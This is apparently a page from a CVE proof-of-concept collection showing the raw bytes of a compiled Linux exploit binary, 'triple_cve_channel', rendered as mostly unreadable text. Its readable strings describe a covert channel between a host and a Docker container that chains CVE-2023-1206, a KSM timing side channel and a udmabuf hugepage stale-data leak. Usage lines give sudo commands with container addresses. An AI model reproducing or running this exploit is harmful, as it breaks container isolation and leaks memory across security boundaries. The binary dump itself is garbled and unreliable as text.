4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / triple_cve_channel
ELF>�)@0�@8
@('@@@��88   y/y/PPP��p|p|p|���|�|�|��88800hhhDDS�td88800P�td�f�f�fQ�tdR�tdp|p|p|��/lib64/ld-linux-x86-64.so.2 GNU���GNUݨ}��MbQCS�}@�D|rv{�GNU-�-/04Btu�e�m9����#E�k�@� P`�J�'kz��Y� 2a"�s8�fQ���9� ���!�|�"�@�� �setsockoptputsstrncpyclock_gettime__stack_chk_fail__printf_chkfreemsync__isoc23_fscanffcntlbindputcharmunmapftruncatepollfopensocketstrlenusleepgetpidrecvoptargmalloc__libc_start_mainstderrin6addr_anysendtogetoptsrand__cxa_finalizestrerrorfcloseioctlsignal__snprintf_chkmemcpyfwrite__errno_locationmadvisesyscallinet_ptonmmaplibc.so.6GLIBC_2.14GLIBC_2.4GLIBC_2.17GLIBC_2.38GLIBC_2.34GLIBC_2.2.5GLIBC_2.3.4_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablep���zii
�������������ui	�ti	�p|�*x|`*������)�.�|- �0@�/�~�~�~�~�~�~�~	�~
�~�~�~
�~�~ (08@HPX`hpx �!�"�#�$�%�&�'�(�*�+�,��H��H��_H��t��H����5b^�%d^@��h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h	�R���f���h
�B���f���h�2���f���h�"���f���h
����f���h����f���h��f���h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h�R���f���h�B���f���h�2���f���h�"���f���h����f���h����f���h��f���h ���f���h!����f���h"����f���h#���f���h$���f���h%���f���h&���f���h'�r���f����%>]fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%�[fD���%~[fD���%v[fD���%n[fD���%f[fD���%^[fD���%V[fD���%N[fD���%F[fD���%>[fD���%6[fD���%.[fD���%&[fD���%[fD���%[fD���%[fD���%[fD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD��AWAVAUATUSH��H�$H��H�$H��E1�E1�L�-#-L�%�@dH�%(H��$�$1��D$��H��H�$L��H�މ��:����������i��
wIc�L�>���H�;�(1�H��$�$dH+%(��H��$[]A\A]A^A_�DL�=	Z��H��YH�$�y���A��n���A��c����D$�V���E����M����H�5D����1����H�����1�H�\$���}���H�=&:���H�=�:���H�=�<�y���H�=Z;�m���1���H���H�1�A���?��H��$�L����$������&
��$�L��H�������H�l$@H���_	����1�1�H��H�D$P�T$X������t$H���������$���H�4$H����H�������L��$��H��L��������H�=D=����H�=�=�s���H�=�=�g�����$�H�5q+1�������$�H�5p+1�������$��1�H�5h+��t���H���<H���H�|$P����H�;�M&����L��$��H��L������8���H�=|;L��$����L��1�H�5�*���H�=�;���L��M��L��*��1����L��H���?����H�
cW��H�=�)�
����K���H�
AW��H�=�)����)���H�
W��H�=�)�������H�
�V��H�=�)������H�
�V��H�=�)������H�=i:���L��1�H�5y)���H�=�:�����������1�I��^H��H���PTE1�1�H�=a�����U�f.�H�=)VH�"VH9�tH��UH��t	�����H�=�UH�5�UH)�H��H��?H��H�H�tH��UH��t��fD�����=�Uu+UH�=�UH��tH�=�U�)����d�����U]������w�������^UÐ��ATf�1�UH���SH��H�ĀdH�%(H�D$x1�GG �
�.���������
1Ҿ�����C�Dž��H�L$A����D$H�����{�D�%�$f�H�t$��o
QH�D$$D$D�d$L$�#���D�c�H��H�ڿ
�����u"1�H�T$xdH+%(��H��[]A\�L�d$0I��@1�L���@L�$����H��L��
�P����fD1Ҿ�����������D������v���fD�1Ҿ����C�Dž��������S�����SH���?��x����{��y[�@[�z���f.���AUATUH��SH��XdH�%(H�D$H1��$��H�T$�fD���H��<�u�H�=�&��L�mI���C����}A�M��L��@�@�����u�H�D$HdH+%(uH��X[]A\A]��}���ff.�f���AVE1�AUI��ATUH��S㥛� S��i��H��0dH�%(H��$(�GL�d$H�==&Hc��D$�D$���L�����HiT$ʚ;HT$H��H��H��H��H��%�FR��tFH�|$�d������^L���a���HiT$ʚ;HT$H��H��H��H��H9�r������H��$(dH+%(ukH��0[]A\A]A^��A�}H�t$ �@��x��~��|$ ���w���A��A��c�i���D��H�5e%�1���1���������AUf�L�oATUH��S�H��(dH�%(H�D$1�)$I���$@��@�t$�T$�}1�A�M��L������������u�H�D$dH+%(uH��([]A\A]��q���AWI��AVA��AUI��ATUH��S㥛� S��i��H��xdH�%(H�D$h�GL�d$�Hc�L���D$�D$��HiT$ʚ;HT$H��H��H��H��H��H�|$�
�����XL���{�HiT$ʚ;HT$H��H��H��H��H9�r������H�T$hdH+%(uSH��x[]A\A]A^A_�fDA�}H�t$ �@�@���~��|$ @��u�D8t$$�v����D$%A�1���=�ff.�f���SE1�H��A������"��1���H�H���tH�Ǻ���H�C1�[ø����[�ff.���SH��H�?H�G�H���v[�f���
��H�;�[�c���UH�-�H�=�"SH��H����H��t$H��H����H�=���H����H��H�=��h�H��H��t'H�=�H�����g�H��H��[]���X[]�D����fo�4fDo
�4�D�Bfo=�4fDo�4fn�H�fo5�4f`�fo-�4fa�H��fp��fo�H��fA��fDo�fo�fo�fE��fAa�fAi�fDo�fa�fDi�fo�f��f��fAa�fDo�fa�f��fDi�fo�fAi�fAa�fa�f��fg�f��@�H9��{����f.���H�7E1�L���1�����Ј��1H�� ��H�� H��H	�H	�H)�I�L9�u�L��H���ff.����AUE1�ATI�UH��S1�H��H�MA��A��I��H�yH��H�H���H)������H������H���=���H�A���u�H���������H�5��H��1�H��H�UH��[]A\A]���ff.�@��H�1��G�ff.���H�H��t�W��u�@� H����ff.���SE1�H��A������"�� 1���H�H���t�C[��H�1�[�D��SH��H�?H��t�C��u	[��� ��H��C[�fD��SE1�H��A������"�� 1��	�H�H���t�C[��H�1�[�D��1�97���@��I��H��tE1��L��1�H��A�B0I��L9�u��D��H��tH�1�f��H���H9�u�Ð1��ff.�f���SH��H�=����H�=]��H�=�����x��t:H�=���H���������|�H�����H�=��x�1�[�@H�=��d��`�H���g�����xH�=��G�1���H�=��7������[���AWAVAUI��H�=4ATUS1�H��h�t$dH�%(H�D$X1���H�=����H�=����I�E0H��H�D$����H�5�1�����D$�$B@��I���Ifn,$I�E0A��fo�/f`�fo5�/fa�H��fp�f.�fo%�/fo�H��f��/fo�fo�f��fa�fi�fo�fa�fi�fo
�/fa�f��f��/f��fo�fa�fi�fo�fa�fi�fa�f��fg�f��@�H9��w����0u��H�|$�3���I��I�E8H�L9�sA���L��L��L��E��xH��H���D$/1�L��H��D1�H����1Ѓ�1�E����f�A�@�l$M�u)D$0�D$0@��D�d$4L�d$0@�l$5L��A��L��E�܋}1�A�M��H���������A��u�D�뿈I���l$���H�T$/��L������1҅��…���D�L$/�ك�D��1�1ȃ�t�ھ����Hc�A�T�T$����D��H�^R���L��PH�5�1������_AX�$%�D$�������ADžtI��TI��tE1�H��f��1��������A������u�H��H9�u�H�=]I����A����1�H�5U��;�f�D��H�5e�A*Ŀ��YV-�YV-�	�H�5�1���fDA��1�I��H�5����I9�u�
A��@�"�A����H�=V�I�A��x�$����H�=XE1�M�u�$�H�$L�|$0C��%TA��f��)D$0���D$0@�޻f�D$4A�}1�A�M��L����������uտ�I����I�� u����H�$A���f����)D$0�D$0@��f�t$4A�}1�A�M��L���"����H�A��u�H�=��F�H�5��1����H�5�1�H����v�H9�u�
���H�=@��H�D$XdH+%(��H��h1�[]A\A]A^A_Éىھ������L$Hc�A�T���������<������H�5�1�����������L��H�T$/����1ҿ�M�u���‰T$�F�f�A�@�l$)D$0�D$0@��D�d$4L�d$0@�l$5L��A��D�ۋ}1�A�M��L������������u�D��T$I���l$�����D$D���D1��������D�L$E������D�L$/H��'���H�=�E1�L�d$/E1���f�)D$0)D$@���L��L���D$/A����t��u�D$/A��B�D<0I��I�� u�H�T$.����L���D$.�<�1�� D��H�5���q�A����D�� �1�H�5�E1��I�D�<$�dL��L���D$/A�������u�D$/A��B�D40I��I�� u�D��E���[���fo|$0� H�5�1��A�Tfo|$@A�d����"���fo|$0H�=�A�Tfo|$@A�d�@����H�=�/�������D��AU�T�?H�5�ATUSH��(dH�%(H�D$1��������� ��H��A���r�������	��1�����H�=j1��D��Ņ���fo"(��H��1��Bu@�$�D$D$�!�A�ą���E1�1�A����� ���H������"A�-AD�%
AH�T$dH+%(�H��([]A\A]�fD����8���H�5]�H��1��F�1��f����8��H�5]H�¿1���D����1��f��{��8��H�5MH������[��8�d�H�5U�H��1�������7����0�1��,���f����8�$�H�5	�H��1���D��������������1������ff.����H��H��t
� �9��=�?��x����?�����=�?��x����?�����=�?��x�x���?����H���f���AV�T�?H�5`AUATUSH�� dH�%(H�D$1��Z����H�þ ��A��������1��	�M��H�=�1����Ņ���fo�%��H��1��Bu@�$�D$D$���Å���E1�A����� 1��Q�I��H���th� ���I��H��t� L��H����� L��������R����K�D���C�H�D$dH+%(u<H�� L��[]A\A]A^���������D���
�E1���D��������f���AVAUATI��UH��H�= SH�� dH�%(H�D$1����H�=����H�=������t����H�=�����H��H����H�xH��H�HǀH��1�H)������H��7�L�狅��P����C����9�I��F�H�C�SA�Ѓ���I�$H�{L��H��H�KK�L�J�L�H��H)�H)����H�E����J�41��H���H9�u�SH��T1�fDH�ƒ��0TH��I9�u�� H��I����H�=eA�L�m����H�5�
1������S�1�H�5~
����S�1�H�5�
���S�1�H�5�
��H�=0�;��f�����)$�$@��f�T$�}1�A�M��L�����������A��u�H�=����� ����H�=:����H�߻���������f�����)$�$@��f�D$�}1�A�M��L���J�����p���uփ��H�=�h��1�H�T$dH+%(��H�� []A\A]A^�D��u7���$���A�$���K����C�T�fB�T�������C�;���A�$�SC�T�B�T�����H�=����������r���H�=Y�������E��D��AWAVAUATUSH��H�$H��HH�4$I��H�=�H�T$dH�%(H��$81��w��H�=H�k��H�=,�_��A��t����H�=Q�D��H�D$&�0uL��H�¾�H�D$�5������|$&���H�=k���H�5�
H�=��D$(�������H��H��t5H�T$(H�5,H��1����H������T$(�1�H�5����E1�E1�1�1�@��9����E���)A���Hi���QH��$k�2��)�t
1��`fDH�5�	H�=����I��H��t�H�T$,H��H�5�
1��D$,���L���o���T$(�L$,���t9��B�L$(�q���I��H����A���87��L���}�����Ei��x�&��=7�A���d��������N�������E����1�D���H�5��������H�=
�j��������"1�H�T$'��L���\��������|$'������H�=2�-��H�=��!��H�=����H�=��	���{���@D���H�5�1���H���"���H�=�����H�=
����H�=A���H�=u�����H�54	1������7�H�5�1������A�U�1�H�5�����A�U�1�H�5}���A�U�1�H�5���A�E�P�����F���L�L$0A��I�uL�σ���1Ҩ��������I��T1�H�Ѓ��A0H��I9�u�L��I�<1��H���H9�u�A�M9�����H�5`1����L���9����������E����D���H�5�1������H�=h�c��H�$�1�H�5����H�=%�@��1�H��$8dH+%(�_H��H[]A\A]A^A_�D�d����؃����G���f��H�T$�d��L������9����H�5!�1�A�����H�=8����-�����H��H��tA���87������A�����Z5��uʋL$,1��U�������S���@�f�H����;�����f�����������D�����H����H�D$H��H9�HGƒ��-�����t�T$0H�$����H�$H�=@�A������L���O������f.�H�=QH�D$���H�=����H�=��w��H�=0�k����H�5�1������7�H�5�1�����L�D$H�5�1��A�P���L�D$H�591��A�P�f��L�D$H�561��A�P�J��L�D$A�@�P����viL���n���L$,���H�4$H�T$0H���H�~I�L�H��H�L�H��L��H)�H��H)������H����H�=��{�������L$,�c���L�L$0A��I�pL�σ�r�����H�1Ҩt	����t�f�H���t��I��T1�fDH�ƒ��A0H��L9�u�L��K�41���H���H9�u�A9Pt,H�=mL�D$����L�D$���H�=�����F���H�D$H��L9�IGƒ�si�����t�T$0H�$����H�$L�D$�H�=��A����V��L�D$�v����T$0H�4$���A�L��L��_���H�4$H�T$0H���H�~I�L�H��H�L�H��L��H)�H)΍���H��|�����H�4$A�L�f�L������T$0H�4$���A�L��L��L����C����H�4$A�L�f�L��1���ff.�f���SH��H�=!���H�=����H�=�t��H�=U�h��H�ڿ1�H�5���H�=$�F��H�=��:��H�=�.��H�=	�"��H�=���H�=-�
��H�=>���H�=J����H�ڿ1�H�5��<��H��H�5
[�1��%����H��H���
zh::ffff:%sw10
/sys/kernel/mm/ksm/run1
[KSM] Baseline: %lu cycles
[Phase1] Trigger sent![Phase1] Trigger received!(FALLBACK)[Phase2] Key established![Phase2] Key: %02x[Phase2] Key sent to peer[Phase2] Final key: covert/dev/udmabuf[udmabuf] mmap failed: %s
leak[Phase3]   Magic: 0x%08X
[Phase3]   Length: %u bytes
[Phase3]   Sequence: %u
[Phase3]   Checksum: %u
%d[Phase3]   Magic: 0x%08X ✓
[Phase3]   Length: %u
[Phase3]   Attempt: %d
[Phase3] Message not capturedUsage: %s [options]

Options:  -p IP       Peer IP address  -m MSG      Message to send  -v          Verbose output  -h          Show help
Example (Host + Docker):irp:m:vhFailed to init trigger
Failed to init KSM
Trigger phase failed
Key agreement failed
Failed to send message
RECEIVED REPLY: %s
RECEIVED MESSAGE: %s
ACK: %s  Messages sent:     %d
  Messages received: %d
  KSM merge rounds:  %d/%d
[Trigger] Sending CVE-2023-1206 burst...[Trigger] Waiting for CVE-2023-1206 trigger...[Trigger] Detected! (%d packets)
/sys/kernel/mm/ksm/sleep_millisecs
╔══════════════════════════════════════╗║ Phase 1: TRIGGER (CVE-2023-1206)     ║╚══════════════════════════════════════╝[Phase1] Initiating connection...[Phase1] Waiting for trigger...[Phase1] Timeout waiting for trigger║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║[Phase2] Deriving %d-bit key...
[KSM] Bit %3d: timing=%4lu our=0x%02x peer=0x%02x -> key=%d %s
[Phase2] Progress: %d/%d bits
[Phase2] KSM high-timing rounds: %d/%d
[Phase2] Key entropy estimate: %d/256 bits set (%.1f%%)
[Phase2] ⚠ WARNING: Key may have low entropy![Phase2] Synchronizing keys...[Phase2] Sending derived key to peer...[Phase2] Receiving key from peer...[Phase2] Received %d/%d key bytes
[Phase2] Using synchronized key from initiator[Phase2] WARNING: Key sync incomplete (%d/%d), trying again...
[Phase2] Second attempt: got %d/%d bytes
[Phase2] ✓ Key agreement complete![udmabuf] memfd_create failed: %s
[udmabuf] ftruncate failed: %s
[udmabuf] open /dev/udmabuf failed: %s
[udmabuf] UDMABUF_CREATE failed: %s
║ Phase 3: SEND MESSAGE (CVE-2024-49882)║[Phase3] Error: Key not established![Phase3] Allocating hugepage via udmabuf...[Phase3] Failed to allocate udmabuf hugepage[Phase3] Message encrypted and written to hugepage[Phase3] Signaling receiver to start scanning...[Phase3] Waiting for receiver to start scanning...[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...[Phase3] Message sent! Hugepage released with stale data.║ Phase 3: RECV MESSAGE (CVE-2024-49882)║[Phase3] Waiting for scan signal...[Phase3] Timeout waiting for scan signal[Phase3] Got signal! Monitoring for hugepage release.../sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages[Phase3] Initial free hugepages: %d

[Phase3] ═══════════════════════════════════════[Phase3] RELEASE SIGNAL RECEIVED![Phase3] Going aggressive - sender released hugepage![Phase3] ═══════════════════════════════════════

[Phase3] !!! HUGEPAGE RELEASED: %d -> %d !!!
[Phase3] Grabbing released pages NOW!

[Phase3] ████████████████████████████████████████[Phase3] ████ CVE-2024-49882 EXPLOITED! ████[Phase3] ████ LEAKED PAGE CAPTURED!     ████[Phase3] ████████████████████████████████████████
[Phase3]   Attempt: %d (aggressive burst)
[Phase3] ✓ Checksum verified![Phase3] ✗ Checksum mismatch[Phase3] ✗ Checksum mismatch (got %u, expected %u)
[Phase3] Attempt %d: %d pages captured, still scanning...
[Phase3] Scan complete: %d attempts, %d pages captured
[Phase3] ✓ DECRYPTED MESSAGE: "%s"
╔════════════════════════════════════════════════════════════════╗║  Triple CVE Covert Channel                                     ║║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║╚════════════════════════════════════════════════════════════════╝
  -i          Initiator mode (send first)  -r          Responder mode (receive first)  Docker:  sudo %s -r -p 172.17.0.1 -v
  Host:    sudo %s -i -p 172.17.0.2 -m 'SECRET' -v
║  Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║
════════════════════════════════════════════════════════════════════════════════
╔════════════════════════════════════════╗║ SUMMARY                                ║╚════════════════════════════════════════╝����������������������������������������������&����������� Y@p?;"@���Pл��x���`���|���8���������������`��L����`��������8@��X�������� ���������� ��p��4���T��t���@���p��� ���0��0P��l����0��������`zRx�����&D$4���FJw�?9*3$"\P���tH����� ��0����F�G�I �G��
 AABD����&E�V
EA8�����F�B�A �D(�D��
(A ABBA@0��hF�E�E �A(�K0�O��
0A(A BBBI8t8���F�J�A �D(�IPe
(A ABBAH����3F�E�E �E(�A0�K8�L��
8A0A(B BBBG����UE�H
AF���=E�Q
JX0<����E�O�G b
DAEAAAp<������T4�d���F�E�K �D(�F0v(A ABB��������%���KE�s
HJ4��:E�S
HY8T��KE�s
HJX���l���+����#�����E�f
E\�H��F�B�B �L(�A0�A8�F���K�R�B��
8C0A(B BBBA8���F�S�A �A(�DP�
(A ABBGP���gH^@h4��nF�S�B �A(�A0�DP
0D(A BBBD@�`��[F�B�B �D(�K0�DP�
0A(A BBBFP�|��	F�B�B �B(�A0�A8�G� I�!�
8A0A(B BBBFDH��E��P`ܷ��xF�B�B �B(�A0�A8�G� L�@L�J�
8A0A(B BBBF�*`*p 
lOp|x|���o���

�~�xp	���o���o�
���o�o�
���o�|0 @ P ` p � � � � � � � � !! !0!@!P!`!p!�!�!�!�!�!�!�!�!"" "0"@"P"`"p"�"�"�"�������������GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0<�*�$@%xI|Y�X
1	�6 6 ;Z/D @
 C B

P	&K Z
{(R[intL
N
*= `
�-6
l��
:��
G�
�
��
��=
�
.	��
��!�4
/
 I
4
a
�=0�	�	1�	Y	3	�	6	
	n	7	
	:	8	
	-	9	
 	s
	:	
(	�	;	
0	M	<	
8	`	=	
@	�	@	
H	�	A	
P	�	B	
X	D	D�`	�	F�h	�	Hp	�	It	�		J�x	�	MR�	!	NY�	5	O��	�		Q��	�		Y
��	�		[��	�	\��	�	]��	&	^	D�	a	_
*�	y	`�	D	b�
�	
1\?	+?j�1�6�?�	�?��6 /
0	N��/)@Q�) [
��
�

�0>�	�	�	� 1�/�]
R	`4�L�
}s
P
�
��1c
%
@�$

�H�^_
=#X<
Z�
��
*l	#{
R0���	*�X	(�
��6
`=�E�	�	��� @�#
#;##�
#�	#� #�@#�	�*
*$	*�*� *�@M�NX�	�!
�0��
�	T
�aS	
�}�b��A[�
�A\��A����6�6�601�+	F�	�4@3�+
�!60?${cfd&		G'l	F(l5�y�	�d0�	�	>�		��		0�E	�
��(
���N/��0D�
1�1^2�N/��D��	1y	�O������������+�
���P61��<O��i��eksm��0��/@�iP%'�	Pfkey�
yT%��	t%u�	x%��
�|%���%��	�%B	�	�%c�	�Dy6��6�6?1\��M����Z��	�!�� 	��!	�"	�Q??	=g4��LRb	b	R�X��	�[�	�	QV��	Dh��z�	.yY�	D*!J�*
!�D'
*2��G
Hb
Rk%R�
#�*�
6�
��
!�	�
�!&�
�
ih%
�
!NC��G1#.��9)!�)U�
LpD*�^�D*K9D�D*�!���!�!�F�^
!D**2
OD**2xD*���<6H2����<62t)��<�4
�:
�*��!�fQ
� :q
F�p�
��!3�
��	f�
i�@%x�(�����~p
z�	��
��
��
�
��
�	opt�	6ctx����j(&^/�(��_�i^)^)�
#�i:8"�i{)$lU	�RT1QG�i�)�)�
r�iRP�)�lU	�c�i�)�)�
��ifd�)�U2T	SQ|�i�)�)
�i~|�)�lU	pd}'v2<UsT�е�'UsT|Q
M(�Nl(���m(i,/(��_�im(8
��i���(�lU	�c�i�(H
hj���i���i���(3mU}T
Q2R
X	@SY|�i�(�(
��i���(�U2T	*SQ|�i�(�(
�i���(�lU	pd�(v2UsT}e(UsT|Q
i�&���6i	*ii-+�i�&�&���i<:�&�lU	�`�i�&�&�.�iPN�&�lU	�a�i�&�&�}�idb�&�lU	�c�i�&�&���ixv�&�lU	b�h�&�0i���h���h���&woU�ܾTQ?�W)'�XX���i�'�'��i���'�lU	�d�i�'�'��i���'�lU	pe�i�'�'E�i
�'�lU	�e�i�'�'��i �'�U2T	HS�i�'�'��i86�'�U2T	aS�i�'�'H�iPN(�U2T	zSR
�i�(�(�	��ihf"�i�($lU	�RT1QG�i�(�(�	�i�~"�i)$lU	�RT1QC�i))�	b�i��"�i7)$lU	�RT1QE�i<)<)�	��i��"�iY)$lU	�RT1QE�%�	�UvTsQ}�%7v&g	U2T	�*}&L	,U0�&?	�&.	�&�Z'#eqUsT!'�\�Uv>' S�UsR'�B�UsT�ܵ�$(�d�Us,(4\�Uv6(�W
U���C(7�)�p7P6)���N���	����i�N����i���N�lU	�`�i�N�N���i
�N�lU	�a�i�N�N�I�i�N�lU	�a�i�N�N���i20�N�lU	b�i�N�N���iFD�N�U2T	�QQs�i�N�N�A�i^\�N�lU		R�i�N�N���irp�N�lU	�b�i�N�N���i��O�lU	c�iOO�.�i��O�lU	R�iOO�}�i��O�lU	0R�iOO���i��&O�lU	NR�i&O&O��i��2O�lU	kR�i2O2O�j�i��>O�lU	�R�i>O>O���i��TO�U2T	@cQs&�iTO��'�i
hc�7kO�U2T	hcQ�U�
�pE	�l2ctx�+l2��6
PB��E*����
���_
P�	
�
�	��
��	��Q�	��_
h�	$f)�x�W-6sig
���_hpPD��
�W�!�%���_S�$i ;9�hp!DQI
�%"�}y��$
�(*q2����!8	5)���_
 9*����t 
);,*��Ci�M�<%4 ji			^i<	4	"Ri&�i�M@%�ia	_	�M�lU	�_Ci�L�6!� jiu	s	^i�	�	Ri�	�	�VMM&7!4!�V�	�	�V�	�	�V�	�	�V�	�	�VM&�V�	�	SYV6M92�!"uV"iV�V

�V@M�V

&�i`M�B%�iD
B
eM�lU	�_�i�K�*"�iX
V
�K�lU	�]�i�K�K+]"�il
j
�K�lU	p^�i�K�K,�"�i�
~
�K�lU	�^�i�K�K-�"�i�
�
�K�lU	�^�i�K�K.U#�i�
�
�K�U2T	x_Qv�i�K�K/�#�i�
�
�K�U2T	�QQ����|�i�K�K0$�i�
�
L�U2T	�Q�iLL1[$�i�
�
*L�U2T	SQ�i*L*L2�$�iFL�U2T	lQbL�	�J?;�J�	�ihJ3!%�i �J�U2T	�]�i�JCd%�i86�J�lU	�]	G�	�%U}T	�QQ��_G#U} �*
�Zq2VJB�'8	g���_
 k���y�&
)m*��Ci5K�nN&ji��^i#RiQG&�itK�r�i��yK�lU	�_Ci
Idh�&ji��^i��Ri���V>I>I iN'�V

�V/
-
�V>
<
�VM
K
�V>I �V^
Z
SYV^Ik"�'"uV"iV�Vu
s
�V`I�V�
�
B�izIzIt�i�
�
�I�U2T	�_�iPHPH\
E(�i�
�
\H�lU	�]�i\H\H]
�(�i�
�
hH�lU	p^�ihHhH^
�(�i�
�
tH�lU	�^�itHtH_
2)�i�
�H�lU	�^�i�H�H`
�)�i�H�U2T	�QQv�i�H�Ha
�)�i,*�H�U2T	�QQ����|�i�H�Hb
>*�iDB�H�U2T	�Q�i�H�Hc
�*�i\Z�H�U2T	SQB�i�H�Hd
�itr�H�U2T	lQ�i�G�G

2+�i��H�lU	0\�iHH
�+�i��H�lU	�\�iHH
�+�i��H�lU	�\�iHH
,�i��'H�lU	]�i0H0H �
,�i��HH�U2T	 `QvR|�F9�,U	�[T	�P/G?;SG�	�,U}yG��,Ud�G]-UT�Q��_R0�I�	*-U}*J�B-Ud�K�	U}�i�E���-�i���E�lU	HT�i�E�E��-�i�E�lU	[�i�E�E�8.�i�E�lU	�T�i�E�E��.�i0.�E�lU	8[�iFF��.�iDB*F�lU	�[�ikFkF	*/�iXV�F�U2T	\�i�G���/�irn�G��/U2T	``QvR|�I�U2T	``QvR|�i�G�G�	�/�i���G�lU	�Q�i�I�I�	L0�i���I�lU	0\�i�I�I�	�0�i���I�U2T	�`Q��_�i�I�I�	�0�i���I�lU	]�i�L�L�	F1�i���L�lU	`[�ioMoM�	�1�i{M�lU	`YF]�1UT�Q��_R
0uEF9�1U	�[T	�PcF�	2UsT	�QQ��_kF#22Us\J]^2UT�Q��_RdmN�p��
�B[�?;ctx�(l2�9NDhp�D�~
��q2���i=B2�*3�i��BB�lU	HT�iBBBB�y3�i
NB�lU	0Y�iNBNB��3�iZB�lU	�T�ihBhB�4�i20tB�lU	�Yi�B�B.�e46iFD*iXVilfCi�BB��4ji��^i��Ri��YV!CY�5uV��iVY�V4.3�Vk�VUQ�VHC{�l5�Vtp�V���V���V��3�V{�V���i|C���5�i�C�lU	�Y�_�C��e6``,*�_=;�`��)`D+*`LJ)D
M6T~Q@R0X}YL3D�U
��i�C�C��6�i\Z�C�U2T	Q�i�C�C�
7�itr�C�U2T	6Q�i�C�C�a7�i���C�U2T	SQ�i�C�C��7�i���C�U2T	lQ�i�C�C�8�i���C�lU	 Z�i9D9D�S8�i��ED�lU	XZ�gEDED
��8�g��OD�U ��iODOD��8�i��[D�lU	�Z�_rD���9`
`�_,*�`��)`�D**`;9�D
�9T~Q@R0X}YL�D�U
��ghDhD
��9�gKIrD�U���i�D�D�=:�i\Z�D�lU	�Z�iBEBE�	�:�ipnNE�lU	`Y�iXEXE�	�:�i��dE�lU	�YyB�>�B�	;U||C�	$;UsT@A$Q4hD`>kE�p�rD�@n�`>
�t	��
�z	�������
��	�
5�D%
��DGC�hAAz6<�h][�hmkA'
U	�PT2Ci�A�A�	�<ji��^i��Ri���AoyU|T~Q@A$�@�
�<U
?T	QQT�@�
�<U}T@A$A�
=UsT
	Q2IAn
?=UvTBu@Q��oA�r=U0T@A$Q1R1XsY0�A
�=U@A$�AU�=U~T@A$�A:
�=Us�A:
�=Uv�A:
�=U}�A:

>Us�A:
">Uv�A:
:>U}B:
R>UsB�p)V^0@g��>5^%D��G@U�>U�UT@A$V@:
o@:
�@:
�%D>��B
�'	��
�5	�<���
�C	;3
5KDa]�hy>y>5�?�hyw�h���>'
U	�PT2�iC?�)	@�i��J?�U2T	�X�if?�.	?@�i��r?�U2�i�?7	g@�i���i�?E	�@�i���?�U2T	Y�i�?"N	�@�i�@�U2T	�PD>�
&AU
?T	�PQT^>�
EAU}T@A$y>�
iAUsT
	Q2�>n
�AUvTBu@Q���>��AU0T@A$Q3R1X|Y0-?�
4?�
U?�
\?�
z?:
BU}�?�
�?�
�?�
�?�
�?:
\BUv�?:
tBUs�?�
�?�

@:
�BU|@:
�BUv@:
�BUs$@�po6�Sctx)l2+2��C�,S
��	��i�Gbit.��
T6�QK
O9
um
oL�2 W���
�X
��
Y
l

wZ�6�6�0	VD�ZSQ�Zca�Zus�Z��3�Z��Z���gY7Y7
3	�D�g��c7�U
0u�_�7�7f[
[E`��`���_��`��)`�77*`8
DETsQ@R0X~YL'8�U
��g=8�\
�E�gB8�U
��i�8�8 {
�E�i#!�8�U2T	@VQsR�i�;�;
YF�i;9�;�U2T	�VQsR
�g�;�`
�F�gSQ�;�U
��_�;�;ra
RG`ga`���_��`��)`<G*`��)<
;GT|Q@R0X~YL3<�U
�m7_YlGU��~V8]�GU}TsQ��R
��;]U}TsQ��R
��Hi���D9b�
�9&nHi�%&�i�9	�)�iSQ�9�U2T	�P:wmIi�mi�_2:%:J�
WI`��`���_��,`��)`D:+*`��`:
?ITQ@R0X~YLj:�U
�}:�U
��<r�L�y��
��
��n�����<@(Ji�6,D�<.������<]U}T�Q|R
���Ji�g_DK=.�����g=]U}T~�Q|Rd�i�<r�	�J�i���<�lU	�W�i==�	0K�i��=�U2T	�WQ~R �i)=��
~K�i��G=�U2T	XR Ci�=���Kji��^i��Ri���i�=��L�i�=�U2T	@XQR Ci�=��
VLji^i-+Ri?=�i�=��
�L�iQO�=�lU	�W=]U}T�Q��R
��:".Mi�ic&�i;_�)�i��;�U2T	�P�i26F qM�i��76�lU	HT�i`6V&�M�i��x6�U2T	VQ
�i7676!N�i��C6�lU	�U�iC6C6"^N�i��O6�lU	�T�i'9���N�i69�lU	�P�i�9���N�i�9�U2T	�P�i6969�DO�i/-U9�U2T	�VR
�iU9���O�iGE�9�U2T	�VQ|�i�9��O�i_]�9.zU:�i�9�9�P�isq�9�lU	8W�i�9�9�	kP�i��:�lU	XW�g�:<�	�P�g���:�U���_�:O�	`Q`��`���_��O`��)`�:,*`���:
HQTQ@R0X~YL�:�U
��i�:�:�	�Q�i���:�lU	�P�i�:�:�R�i ��:�U2T	�P�i;;
�JR�i  );.zU:�i););��R�i- + 5;�lU	pX�i�=�=�	�R�iA ? >�lU	W`6XSU��~>�p� S6�P5��YVctx#l2] S �iT56�S�i� � d5�lU	HT�id5d5�S�i� � p5�lU	�T�ip5p57T�i� � |5�lU	�T�i�5�5	�T�i� � �5�lU	xU�g�5�5
		�T�g� � �5�U���i�5�5	 U�i� � �5�lU	NP�i�5�5
	oU�i!� �5�lU	�U�i�5�5	�U�i!!�5�lU	eP�i�5�5

V�i(!&!�5�lU	�U�5�c%VUs�5�c=VUs�5x`UsT
`�E�
��V++�'�V(len�4*,sum��8,i�*�F���V++��V(len�&*(key�:�V+7�F*8,i�*����4�'WT� DUT�/�Tk��DEW(ctx�(EW/)�
�P4:��Wctx�'EWD!:!z4UT@A$E/�D�W(ctx�,EW)��3%��Wctx�'EWq!m!7�3UT@A$EH�X(ctx�#EW)im3��ZYctxmZY�!�!
�o��!�!�Yip�!�!i 3�q	�X6i�!�!*i�!�!i""�gQ3Q3
r	�X�g""[3�U
�c3_YUv&�i�3v'�i
2P�7�3�U2T	2P��	\
